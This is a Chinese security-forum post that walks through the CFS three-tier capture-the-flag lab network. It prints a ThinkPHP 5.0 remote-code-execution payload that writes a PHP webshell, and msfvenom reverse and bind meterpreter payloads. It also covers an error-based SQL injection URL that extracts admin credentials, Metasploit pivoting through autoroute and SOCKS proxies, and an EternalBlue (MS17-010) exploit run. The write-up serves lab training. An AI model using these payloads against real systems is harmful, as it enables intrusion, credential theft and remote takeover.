安全矩阵

 找回密码
 立即注册
搜索
查看: 2753|回复: 0

CFS三层靶机内网渗透

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-4-1 13:28:07 | 显示全部楼层 |阅读模式
本帖最后由 sandalwood 于 2022-4-1 13:29 编辑

0x01 引言CFS靶机就是三层靶机的内网渗透,通过一层一层的渗透,获取每个靶机的shell或flag,经常用于CTF比赛,不过这个靶机确实非常接近实战。
0x02 靶机配置绘制一个CFS三层的拓扑图,kali虚拟机设置到桥接网络,攻击网段在172.16.111.0,三台靶机的配置分别如下图所示。

现在开始搭建靶机,虚拟机的网络布局如下图所示。



对靶机进行配置,kali直接配置到VMnet1桥接网络上就行。
target1的配置如下,网卡一桥接到外网,网卡二连接到192.168.22.0/24网段。



target2的配置如下,网卡一连接到192.168.22.0/24网段,网卡二连接到192.168.33.0/24网段。



target3的配置如下,网卡一直接连接到192.168.33.0/24网段。



这样配置完毕后,kali能ping通target1,target1能ping通target2,target2能ping通target3,三层内网搭建完成后,开始渗透之旅。
0x03 Target1获取shell使用namp对target1进行扫描端口;



访问一下80端口。


网站使用thinkphp搭建的,版本为5.0,想到该版本下有个命令执行漏洞,使用poc进行测试,返回phpinfo成功,该版本存在漏洞。
  1. http://172.16.111.194/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
复制代码




直接使用poc写入shell文件。
  1. http://172.16.111.194/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=system("echo '<?php @eval($_POST[1]);?>' > shell.php");
复制代码





写入完成后,访问一下是否成功。



使用蚁剑连接,连接成功。


设置代理制作后门传入target1
  1. root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.111.3 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.e
复制代码

lf



使用msf进行监听,执行shell查看查看网络配置,发现第二个网段,192.168.22.128/24
  1. <code>msf5 > msf5 > use exploit/multi/handler</code><code>msf5</code>
复制代码




向msfconsole添加第二层路由:
  1. run autoroute -s 192.168.22.0/24 run autoroute -p
复制代码





利用msf进行第二层网络存活主机扫描:

  1. <pre><code>msf5 exploit(multi/handler) > use auxiliary/scanner/discovery/arp_sweep</code><code>msf5 </code></pre><pre><code>auxiliary(scanner/discovery/arp_sweep) > options</code><code>msf5</code></pre><pre><code> auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.22.0/2</code><code>msf5</code></pre><pre><code> auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.22.0/24</code><code>msf5</code></pre><pre><code> auxiliary(scanner/discovery/arp_sweep) > set threads 20</code><code>msf5</code></pre><pre><code> auxiliary(scanner/discovery/arp_sweep) > run</code></pre>

  2. <p>

  3. </p><p><span aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" contenteditable="false" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="65" data-cke-widget-wrapper="1" role="region" tabindex="-1"></span></p>
复制代码


扫描到192.168.22.128网段,在msf中添加代理,以便连接到target2。​​​​​​​
  1. <code>msf5 exploit(multi/handler) > use</code>
复制代码




利用msf搭建socks代理,好让kali直接打第二层网络:



修改proxychains的配置文件;
  1. vim /etc/proxychains.conf
复制代码


添加sicks4 172.16.111.3 2222。




使用nmap进行扫描端口:
  1. proxychains nmap -Pn -sT 192.168.22.128 -p1-1000
复制代码





0x04 target2获取shell发现80端口,挂代理访问一下,访问成功,查看源码时,发现有提示注入点。



使用sqlmap进行注入。测试一下注入,加个单引号报错,为报错注入。



进行手工注入,报表名。



报出用户名密码解密得admin,123qwe,完整密码是这个 46f94c8de14fb36680850768ff1b7f2a,一开始没有报全,又改的后面的参数才报全的。
  1. http://192.168.22.129/index.php?r=vul&keyword=1%20%27%20and%20updatexml(1,concat(0x7e,substr((select%20concat(username,0x7e,password)%20from%20bagecms.bage_admin),1,32),0x7e),1)--+
复制代码





使用御剑扫描了一下目录,在tobots.txt找到后台页面。



直接在index.php写入一句话发现写入成功。


使用sockscap代理打开蚁剑连接shell。



成功拿取target2的shell。


设置代理蚁剑中看到是linux64位系统,在msf上生成后门,并上传更改权限为777,使用msf连接。


0x05 target3在MSF中开启EXP,与Target2建立连接,这里需要注意,上一次代理使用的reversetcp是MSF作为监听,让Target1连到我们,而这次代理使用的bindtcp是Target2作为监听,我们需要连到Target2。使用proxychains打开msf。​​​​​​​
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o test.elfuse exploit/multi/handlerset payload linux/x86/meterpreter/bind_tcpset lport 4444set rhost 192.168.22.129


扫描到192.168.33.0的网段。


添加网段。​​​​​​​
  1. <code>meterpreter > run autoroute -s 192.168.33.0/24</code><code>meterpreter > run autoroute -p</code>
复制代码


添加代理。
使用代理扫描端口。



扫描到445端口,使用永恒之蓝测试。​​​​​​​
  1. <pre><code>msf5 auxiliary(server/socks4a) > use</code></pre><pre><code> exploit/windows/smb/ms17_010_PSEXEC</code><code>msf5</code></pre><pre><code> exploit(windows/smb/ms17_010_psexec) > set payload</code><code> windows/meterpreter/bind_tcp</code><code>msf5</code></pre><pre><code> exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.129</code><code>msf5</code></pre><pre><code> exploit(windows/smb/ms17_010_psexec) > options</code><code>msf5</code></pre><pre><code> exploit(windows/smb/ms17_010_psexec) > run</code></pre>

  2. <p>

  3. </p><div aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" contenteditable="false" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="76" data-cke-widget-wrapper="1" role="region" tabindex="-1"></div>
复制代码



成功。到此靶机全部打通。
0x06 总结现在三台靶机都已经拿到shell了,靶机中还有flag,有兴趣的小伙伴可以去试试找一找。

  1. 参考链接:https://www.anquanke.com/post/id/164525#h3-1
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:29 , Processed in 0.013617 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表